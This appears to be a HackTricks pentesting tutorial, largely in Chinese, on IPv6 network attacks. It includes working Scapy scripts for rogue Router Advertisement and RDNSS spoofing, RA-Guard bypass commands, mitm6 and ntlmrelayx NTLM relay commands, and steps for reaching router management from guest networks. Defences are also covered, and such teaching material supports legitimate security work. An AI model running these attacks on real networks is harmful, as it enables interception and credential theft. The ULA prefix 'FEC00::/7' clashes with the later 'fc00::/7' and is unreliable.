Pentesting IPv6
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
IPv6 Basic theory
Networks
IPv6 addresses are structured to enhance network organization and device interaction. An IPv6 address is divided into:
- Network Prefix: 初始 48 位,用于确定网络段。
- Subnet ID: 紧随其后的 16 位,用于定义网络内的特定子网。
- Interface Identifier: 最后 64 位,在子网内唯一标识设备。
While IPv6 omits the ARP protocol found in IPv4, it introduces ICMPv6 with two primary messages:
- Neighbor Solicitation (NS): 组播消息,用于地址解析。
- Neighbor Advertisement (NA): 对 NS 的单播响应或主动通告。
IPv6 also incorporates special address types:
- Loopback Address (
::1): 等同于 IPv4 的127.0.0.1,用于主机内的内部通信。 - Link-Local Addresses (
FE80::/10): 用于本地网络活动,不用于互联网路由。处于同一局域网的设备可以使用此范围相互发现。
Practical Usage of IPv6 in Network Commands
To interact with IPv6 networks, you can use various commands:
- Ping Link-Local Addresses: 使用
ping6检查本地设备是否存在。 - Neighbor Discovery: 使用
ip neigh查看在链路层发现的设备。 - alive6: 用于发现同一网络上设备的替代工具。
Below are some command examples:
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
IPv6 地址可以从设备的 MAC 地址推导出来用于本地通信。下面是如何从已知 MAC 地址推导 Link-local IPv6 地址的简化指南,以及关于 IPv6 地址类型和在网络内发现 IPv6 地址方法的简要概述。
Deriving Link-local IPv6 from MAC Address
给定一个 MAC 地址 12:34:56:78:9a:bc,可以按如下构造 Link-local IPv6 地址:
- 将 MAC 转为 IPv6 格式:
1234:5678:9abc - 在前面加上
fe80::并在中间插入fffe:fe80::1234:56ff:fe78:9abc - 反转从左数第七位(将
1234改为1034):fe80::1034:56ff:fe78:9abc
IPv6 Address Types
- Unique Local Address (ULA):用于本地通信,不用于公网路由。前缀:
FEC00::/7 - Multicast Address:用于一对多通信。发送给属于该 multicast 组的所有接口。前缀:
FF00::/8 - Anycast Address:用于一对最近者通信。根据路由协议发送到最近的接口。属于
2000::/3全局单播范围的一部分。
Address Prefixes
- fe80::/10:Link-Local 地址(类似于 169.254.x.x)
- fc00::/7:Unique Local-Unicast(类似于私有 IPv4 范围,如 10.x.x.x、172.16.x.x、192.168.x.x)
- 2000::/3:Global Unicast
- ff02::1:Multicast All Nodes
- ff02::2:Multicast Router Nodes
Discovering IPv6 Addresses within a Network
Way 1: Using Link-local Addresses
- 获取网络中设备的 MAC 地址。
- 从 MAC 地址推导出 Link-local IPv6 地址。
Way 2: Using Multicast
- 向 multicast 地址
ff02::1发送 ping,以发现本地网络上的 IPv6 地址。
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Attacks
在 IPv6 网络中可用于执行 MitM 攻击的几种技术包括:
- Spoofing ICMPv6 neighbor or router advertisements.
- Using ICMPv6 redirect or “Packet Too Big” messages to manipulate routing.
- Attacking mobile IPv6 (usually requires IPSec to be disabled).
- Setting up a rogue DHCPv6 server.
在实战中识别 IPv6 地址
探索子域
一种查找可能与 IPv6 地址关联的子域的方法是利用搜索引擎。例如,使用像 ipv6.* 这样的查询模式可能很有效。具体来说,以下搜索命令可在 Google 中使用:
site:ipv6./
利用 DNS 查询
为了识别 IPv6 地址,可以查询以下某些 DNS 记录类型:
- AXFR: 请求完整的区域传输,可能会发现大量的 DNS 记录。
- AAAA: 直接查找 IPv6 地址。
- ANY: 一个广泛的查询,会返回所有可用的 DNS 记录。
使用 ping6 进行探测
在定位到与组织相关的 IPv6 地址后,可以使用 ping6 实用工具进行探测。该工具有助于评估已识别 IPv6 地址的响应情况,并可能帮助发现相邻的 IPv6 设备。
IPv6 本地网络攻击技术
下面的章节涵盖可在不知任何全局前缀的情况下、在同一 /64 段内执行的实用 layer-2 IPv6 攻击。下文展示的所有数据包都是 link-local,只在本地交换机内传输,因此在大多数环境中极具隐蔽性。
稳定实验室的系统调优
在开始操作 IPv6 流量之前,建议对你的主机进行加固,以避免被自己的测试污染,并在大量 packet injection/sniffing 时获得最佳性能。
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
被动式 NDP & DHCPv6 Sniffing
由于每个 IPv6 主机都会自动加入多个多播组 (ff02::1, ff02::2, …) 并且为 SLAAC/NDP 使用 ICMPv6,因此你可以在不发送任何数据包的情况下映射整个网段。下面的 Python/Scapy 单行命令会监听最有价值的 L2 消息,并打印带颜色和时间戳的“谁是谁”的日志:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
结果:在几秒钟内获得完整的 链路本地拓扑 (MAC ⇄ IPv6),不会触发依赖主动扫描的 IPS/IDS 系统。
Router Advertisement (RA) Spoofing
IPv6 主机依赖 ICMPv6 Router Advertisements 来发现默认网关。如果你比合法路由器 更频繁 地注入伪造的 RAs,设备会悄然将你作为网关切换。
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
要在赢得争夺后实际转发流量:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
路由器通告标志 (M/O) 与 默认路由偏好 (Prf)
| 标志 | 含义 | 对客户端行为的影响 |
|---|---|---|
| M(托管地址配置) | 表示该链路上可用 通过 DHCPv6 的有状态地址分配。 | 强烈表明 DHCPv6 spoofing 可能有效。 |
| O(其他配置) | 表示主机应使用 DHCPv6 获取 其他 参数(DNS、NTP、…)。 | 地址通常仍来自 SLAAC,但 DNS 可以被 DHCPv6 hijacked。 |
| M=0 / O=0 | 纯 SLAAC 风格网络。 | DHCPv6 可能永远不会出现;应侧重于 rogue RA / RDNSS 而不是 mitm6。 |
| M=1 / O=1 | 混合环境。 | DHCPv6 和 SLAAC 信息可能共存;spoofing 攻击面最大。 |
在 pentest 期间,你可以简单检查一次合法的 RA,然后决定哪个向量可行:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
在 dump 中查找 flags [M,O] 字段 – 不需要猜测。
The Prf (Router Preference) field inside the RA header controls how attractive your rogue router looks when multiple gateways are present:
| Prf value | Binary | Meaning |
|---|---|---|
| High | 10 | 客户端会优先选择这个路由器,而非任何 Medium/Low 路由器 |
| Medium (default) | 01 | 几乎所有合法设备都使用此值 |
| Low | 00 | 只有在不存在更好的路由器时才会被选择 |
When generating the packet with Scapy you can set it through the prf parameter as shown above (prf=0x1 → High). Combining High Prf, a short interval, and a non-zero lifetime makes your rogue gateway remarkably stable.
RDNSS (DNS) Spoofing via RA
RFC 8106 allows adding a Recursive DNS Server (RDNSS) option inside a RA. This is the go-to DNS hijack primitive when the segment is SLAAC-only (M=0 / O=0) and clients do not talk to DHCPv6. Client support is implementation-dependent, so validate the target OS in the lab instead of assuming universal RDNSS consumption.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
同一个数据包还可以携带 DNSSL 选项,用于在仅 IPv6 或双栈环境中(搜索域重要时)毒化短名称解析路径。如果要干净地停止攻击,请发送一个带有相同选项且 lifetime=0 的撤回 RA。
RA-Guard 绕过实战
RFC 7113 记录了为什么简单的 RA-Guard 部署在无法解析完整的 IPv6 头部链或在处理分片时采取放行策略时会被绕过。这并非新研究,但仍具操作相关性,因为许多接入交换机只实现了部分过滤。
最近的 thc-ipv6 构建在工具中直接暴露了这一点:
# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64
# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64
# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0
仅在确认普通伪造 RA 被过滤后再使用这些选项。如果 -H/-D/-F 突然使主机接受你的 rogue router,你就有证据表明交换机只匹配固定的 IPv6 头,而不是实际的 ICMPv6 RA payload。
DHCPv6 DNS Spoofing (mitm6)
当合法的 RA 广告 M 和/或 O 时,Windows 客户端通常会发出 DHCPv6 请求以获取地址或辅助配置。mitm6 利用该行为,通过响应 DHCPv6,将你的链路本地 IPv6 以短租约的形式插入为 DNS。 这可用于:
- NTLM relay attacks (WPAD + DNS hijacking)
- 在不接触路由器的情况下拦截内部名称解析
- 低噪声定位,因为你可以将 poisoning 限定到特定主机或域
典型用法:
# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus
# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad
Useful details from current mitm6 builds:
--no-ra在网络检测到 rogue RAs 时将攻击限制为仅 DHCPv6。-d/--domain和--host-allowlist将 poisoning 限制得更严格,而不是劫持该段上的每个查询。--ignore-nofqdn减少来自省略 DHCPv6 FQDN 选项的客户端的噪音。
If the segment is pure SLAAC (M=0 / O=0), mitm6 is usually the wrong primitive. Use rogue RAs / RDNSS instead, and keep the higher-level relay logic in the WPAD/relay page.
防御
- RA Guard / DHCPv6 Guard / ND Inspection 在受管交换机上启用。
- 端口 ACL,只允许合法路由器的 MAC 发送 RAs。
- 监控 unexpected high-rate RAs 或 突然的 RDNSS changes。
- 在端点禁用 IPv6 是一种临时的权宜之计,常常会破坏现代服务并掩盖盲点——应优先使用 L2 过滤。
NDP Router Discovery on Guest/Public SSIDs and Management Service Exposure
许多消费级路由器在所有接口上暴露管理守护进程(HTTP(S), SSH/Telnet, TR-069 等)。在某些部署中,“来宾/公共” SSID 与 WAN/core 桥接,并且仅支持 IPv6。即使路由器的 IPv6 在每次重启时都会变化,你仍然可以通过 NDP/ICMPv6 可靠地发现它,然后从来宾 SSID 直接连接到管理平面。
Typical workflow from a client connected to the guest/public SSID:
- 通过向 All-Routers multicast
ff02::2发送 ICMPv6 Router Solicitation 来发现路由器并抓取 Router Advertisement (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
RA 会显示路由器的 link-local 地址,并且通常也会显示一个 global address/prefix。如果只知道 link-local,请记住连接时必须指定 zone index,例如 ssh -6 admin@[fe80::1%wlan0]。
替代:如果可用,使用 ndisc6 套件:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- 从 guest SSID 访问通过 IPv6 暴露的服务:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- 如果管理 shell 通过一个包装器提供 packet-capture 工具(例如 tcpdump),检查是否存在参数/文件名注入,允许传递额外的 tcpdump 标志(如
-G/-W/-z),以实现轮换后命令执行。参见:
Defences/notes:
- 不要将管理绑定到 guest/public 桥;在 SSID 桥上应用 IPv6 防火墙。
- 在可行时对 guest 段的 NDP/RS/RA 进行速率限制和过滤。
- 对于必须可访问的服务,强制实施 authN/MFA 和严格的速率限制。
References
- Legless – IPv6 Penetration Testing
- mitm6
- RFC 7113 – RA-Guard Implementation Advice
- RFC 8106 – IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG – Full Exploit Chain
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


